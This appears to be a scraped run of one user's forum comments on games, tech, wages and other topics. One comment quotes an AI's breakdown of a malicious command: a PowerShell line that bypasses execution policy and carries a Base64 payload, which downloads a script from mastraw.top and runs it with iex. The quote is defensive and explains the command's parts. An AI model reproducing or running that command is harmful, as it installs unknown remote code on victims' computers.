Confused on how letting someone else use your water can be illegal.

Honestly, a small llm in these situations would be great idea, but it should be a very small local or hosted by the company itself (with a setting to turn off)

A small AI in games is the stuff I do want. But there is no reason gemni needs to be involved in a game at all

My understanding is part of it is that payment processor says stop doing it or we drop you all together. Not a we won't be involved but lose them as an avenue.

Their way or highway, no real middle ground posible

Sounds like unity doesn't want any new devs to go over to them and for the ones who did to start moving away to other engines.

Ask for x per purchase would at least get less backlash but I guess they couldn't track that as easily

What a fabulous upstanding person. Should have him adopt more kids, surly that would be the best thing

(I hope the /s is not needed but it's here)

Got to think about those poor business if they have to pay a nickel more for labor they would be broke

Joking aside, minuim wage is a hot issue. One side fully believes that minuim wage is in fact a bad thing and shouldn't exist. So for them putting a bill out that auto raises it would be counter productive to their interests business being able to hire with supply demand

The issue beyond them trying to change chromium to not have it but they are trying to make it so part of websites have the "security" built in as well

Depends on the game the group likes. More narrative driven game it can conflict and have issues

However, there is something nice about knowing a balanced way to do x or y across the board and at different tables.

A good gm should be able to make a note of something or make a quick call especially in pf2e case were generic difficulty dc per level is given

Why I throw my phone browser into desktop mode. Can be annoying but it works most the time

Depends on if it can scale and how far apart each has to be from another. A single windmill is not as impressive but you get a field of them you generate much more, hopefully it can get closer to a solar panel and be spread along a large are.

Imagine dead space being utalized as a supliment.

One thing to keep in mind beyond hosting cost is the uploader making money. YouTubes partner or paid channel things work (there are complaints) it's a LOT harder to replace those freeas add revenue pays them

In a way yes it's similar to email need to know if your @gmail or @yahoo.

As for "important" people, same noteworthy as any other thing. Only extra they could do is if they are with a company could have a server that is @target @mbl or @meta (though everyone might block the latter xp)

They were working on it for patches and such. Plus they are probably starting the "next big thing" and having your dev team leave kinda hurts that xp

1 of the 2 would need to open to get updates. Steam would do it in the background the smoothest I think

As someone who used to have to make those cases. They don't care about the clippers it's the expensive makeup that's in that same section and we only had a case that could do that entire area.

Some things are in the case by proximity more then anything else, thus it can be on the overstock because whatever

One of the moments that Ai can be good. I asked googled gemni

This command is highly malicious and is designed to execute a script downloaded from a remote server. Here's a breakdown of what each part does:

• conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it's being used as a wrapper.
• powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
  • powershell: Invokes the PowerShell interpreter.
  • /ep bypass: This is crucial. /ep stands for "execution policy." bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.
  • /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let's decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod 'https: //mastraw.top/me/day'; iex $site Now we can fully understand the malicious intent:
• $site = Invoke-RestMethod '# https: //mastraw.top/me/day': This command uses Invoke-RestMethod to download content from the URL 'https://mastraw/. top/me/day' . This URL is likely hosting a malicious PowerShell script or some other form of executable code.
• ; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from 'https://mastraw.top/. /me/day' (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:
• Bypass PowerShell's security restrictions.
• Download a script from a specific remote website '(https. ://mastraw.top/me/day)' .
• Immediately execute that downloaded script on the victim's computer. The content of the script downloaded from' https :// mastraw.top/me/day' is unknown without accessing that URL, but given the nature of this command, it's almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.

Edit:added back tick to urls

Then you have where my apt had another company put in and manage the charges but they charge 15 cents more a kw then the fast charger around the corner.

I don't mind sitting every so often in the morning drinking some tea while charging but it would be nice if it's faster

The problem Is real but this solution seems very bs

Fully agree, it's almost security theater.

They need to offer a way for use with a password manager, maybe a slightly hidden option or detecting a really long password to stop all the extra bits.

I forgot what the service was but it will have my user and pass, prompt the email verify, and then it will ask for the token generated in an Auth app.

At a certain point the proper user probably can't get in

It probably links to it being illigal at the federal level still so ada would have to be sly about it.